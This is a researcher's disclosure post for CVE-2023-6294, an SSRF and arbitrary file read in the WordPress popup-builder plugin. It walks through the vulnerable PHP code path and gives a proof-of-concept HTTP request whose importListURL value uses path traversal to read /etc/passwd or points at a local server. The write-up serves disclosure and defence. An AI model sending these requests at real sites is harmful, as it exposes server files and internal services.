CVE-2023-6294: popup-builder <= 4.2.6 Admin+ SSRF & File Read

In this blog post I'll describe the details of CVE-2023-6294, a local file inclusion in WordPress' popup-builder plugin.

First of all, this vulnerability is only exploitable in multi-site WordPress installations with at least subsite administrator privileges.
Successful exploitation can lead to SSRF and arbitrary file read.

Theory

Let's dive into the code to get a deeper understanding.

The API action sgpb_import_subscribers takes the parameter importListURL and eventually passes it to wp_remote_get() and file().

In popup-builder/com/classes/Ajax.php the constructor calls $this->actions(), which first evaluates the user's permissions using $allowToAction = AdminHelper::userCanAccessTo(); and then registers the API action add_action('wp_ajax_sgpb_import_subscribers', array($this, 'importSubscribers'));.

userCanAccessTo() is defined in popup-builder/com/helpers/AdminHelper.php and checks if the requesting user has the correct permissions and roles to access the API. So far, so good.

Back in Ajax.php, the API's callback importSubscribers() is defined, where it first validates the nonce (check_ajax_referer(SG_AJAX_NONCE, 'nonce');) and then defines $fileURL: $fileURL = isset($_POST['importListURL']) ? sanitize_text_field($_POST['importListURL']) : '';
Interestingly, there is a call to sanitize_text_field, but this WordPress built-in function does not sanitize the string for path traversal issues, only cross-site scripting and others.

The function then continues to capture the output buffer of the importConfigView.php:

ob_start();
require_once SG_POPUP_VIEWS_PATH.'importConfigView.php';
$content = ob_get_contents();
ob_end_clean();

This file is at popup-builder/public/views/importConfigView.php and it first passes $fileURL to getFileFromURL, which in turn will call wp_remote_get(): $fileContent = AdminHelper::getFileFromURL($fileURL);.

Further, it executes the following line to read from $fileURL:
$csvFileArray = array_map('str_getcsv', file($fileURL));

With that, the former allows to send HTTP requests to the URL provided in importListURL resulting in server-side request forgery (SSRF) and the latter allows to read arbitrary files by setting it to a file path.

Proof of Concept

To see the vulnerabilities in action, first configure a multi-site WordPress installation with a separate subsite and non-superadmin account.

Login as the subsite administrator and navigate to the popup-builder plugin in the menue. Create a dummy subscription, so that it shows up on the Import/Export settings page.

When submitting the import form, the following request will be send to the WordPress backend:

POST /site2/wp-admin/admin-ajax.php HTTP/1.1
Host: localhost
Content-Length: 156
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Cookie: [cookie]
Connection: close

action=sgpb_import_subscribers&nonce=7ab37e2ddd&popupSubscriptionList=8&importListURL=<import-path>&beforeSend=

When the importListURL is set to ../../../../../../../../../../../../../../../../etc/passwd, the output will contain the first line of the /etc/passwd's contents:

<div class="subFormItem__title">
	root:x:0:0:root:/root:/bin/bash				
</div>

Similarly, when we set importListURL to an URL, we can exploit the SSRF. For example, we start a simple HTTP server on localhost (python -m http.server 1337) and send a request to it with importListURL=http://localhost:1337. The output is:

<div class="subFormItem__title">
	Hacked			
</div>

Timeline

  • 2023.06.28 - Initial discovery
  • 2023.07.03 - Report to plugin developers
  • 2023.11.22 - Report to WPScan to assign CVE-ID
  • 2023.11.24 - Vulnerability acknowledged and CVE assigned
  • ~ 2023.12.28 - New version released
  • 2024.01.31 - Public disclosure